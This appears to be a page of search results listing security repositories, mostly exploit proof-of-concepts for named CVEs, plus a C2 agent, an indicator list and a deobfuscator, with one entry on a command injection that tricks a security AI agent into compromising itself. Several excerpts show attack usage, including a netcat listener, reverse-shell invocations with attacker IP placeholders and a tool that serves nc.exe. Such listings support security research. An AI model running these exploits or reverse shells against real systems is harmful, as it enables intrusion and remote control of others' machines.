187664 matches found
active_c2_ioc_public
+OPTIONS: ^: +TITLE: Active C2 IOCs Note Be careful with the firstseen/lastseen dates in each entry. Don't judge based on just an IP address...
PyHmmm
PyHmmm What is this? This is a third party agent for Havoc C2 written in python. It is intended to be a basic PoC used to learn how to write custom Havoc agents, with its accompanying blog post...
Volumiser
Volumiser Introduction Volumiser is a command line tool and interactive console GUI for listing, browsing and extracting files from common virtual machine hard disk image formats. The tool was written to combat a regular problem where massive 100G+ disk images are often hard to work with or...
CVE-2025-67511
CVE-2025-67511: Tricking a Security AI Agent Into Pwning Itself Hacktive Security blog post for CVE-2025-67511 Blog Post Link : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR A command injection vulnerability in the function...
de4dot
Description de4dot is an open source GPLv3 .NET deobfuscator and unpacker written in C. It will try its best to restore a packed and obfuscated assembly to almost the original assembly. Most of the obfuscation can be completely restored eg. string encryption, but symbol renaming is impossible to...
POC-CVE-2026-18729
Description Proof of concept exploit code for CVE-2026-18729 Usage python3 poc.py -url -uname -pword -c Without bash command proof of code exec via Divide By Zero Error With bash command NOTE: Bash output isn't returned because the endpoint only returns the component template and metadata. The ba...
CVE-2022-46080
CVE-2022-46080 Nexxt Router 15.03.06.60 Authentication Bypass and Remote Command Execution...
CVE-2019-0232
CVE-2019-0232 Description This is a tool that automates the exploitation workflow for CVE‑2019‑0232 by providing both command execution mode and reverse‑shell mode. It supports automatic URL encoding for commands, spins up a temporary HTTP server to host nc.exe, uploads it to the vulnerable Apach...
CVE-2023-35085-POC-EXP
PS: All the scripts are achieved by Gemini 2.5 pro and CLaude 3.7. It may doesn't work well, because I don't know how to use the api "/mifs/rest/api/v2/command/exec", the same as the AIs, who pretented that they know it very well...
CVE-2023-33869-RCE-PoC
Center for Energy Security and Reliability - UNC Charlotte CVE-2023-33869 is a command injection vulnerability affecting Enphase Envoy firmware version D7.0.88. This vulnerability allows an attacker to inject and execute arbitrary commands with root privileges on the affected device. The Enphase...
CVE-2022-25765
CVE-2022-25765 Exploit A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection Usage 1. Start a netcat listener on your attack machine: nc -lvnp 4444 2. Run the exploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Example: python cve-2022-25765.py -t...
CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability
CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability By Mark Mallia Containerization and the Power of Automation Containerization is the backbone of modern application delivery: it bundles an entire runtime stack into a single, immutable image that can be rolled out on any host in a cluster...
cve-2024-21980-poc
SEV Firmware Vulnerability This repo contains an exploit for a vulnerability in the SEV firmware. The exploit allows decrypting arbitrary memory of an SEV-SNP guest after it's been decommissioned. Tested on version 1.55.16 latest as of time of writing. Root Cause The SEV firmware has a table call...
CVE-2018-3245
CVE-2018-3245 Step 1 java -jar ysoserial-cve-2018-3245.jar Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler CVE20183245 @mbechler...
CVE-2022-22947
CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Usage Reverse Shell python3 CVE-2022-22947.py 目标网址 弹shell的IP 端口 Execute Command python3 CVE-2022-22947.py 目标网址 命令...
CVE-2020-12124
Anatomy of an IoT Exploit, from Hands-On to RCE originally at https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce by David E. Baker, published on June 1, 2023 Foreword This study concerns the firmware of the Wavlink Wireless-AC1200 Gigabit router as of...
CVE-2025-42944
CVE-2025-42944 Due to a deserialization vulnerability in SAP NetWeaver, an unauthenticated attacker could exploit the system through the RMI-P4 module by submitting malicious payload to an open port. The deserialization of such untrusted Java objects could lead to arbitrary OS command execution,...
CVE-2026-101947
ExifTool for photo and video 5.0.1-gms by CellHubs constructs shell command strings from file paths and invokes /system/bin/sh -c. In the CSV-export path, the selected media path is merely surrounded with single quotes; embedded single quotes are not escaped...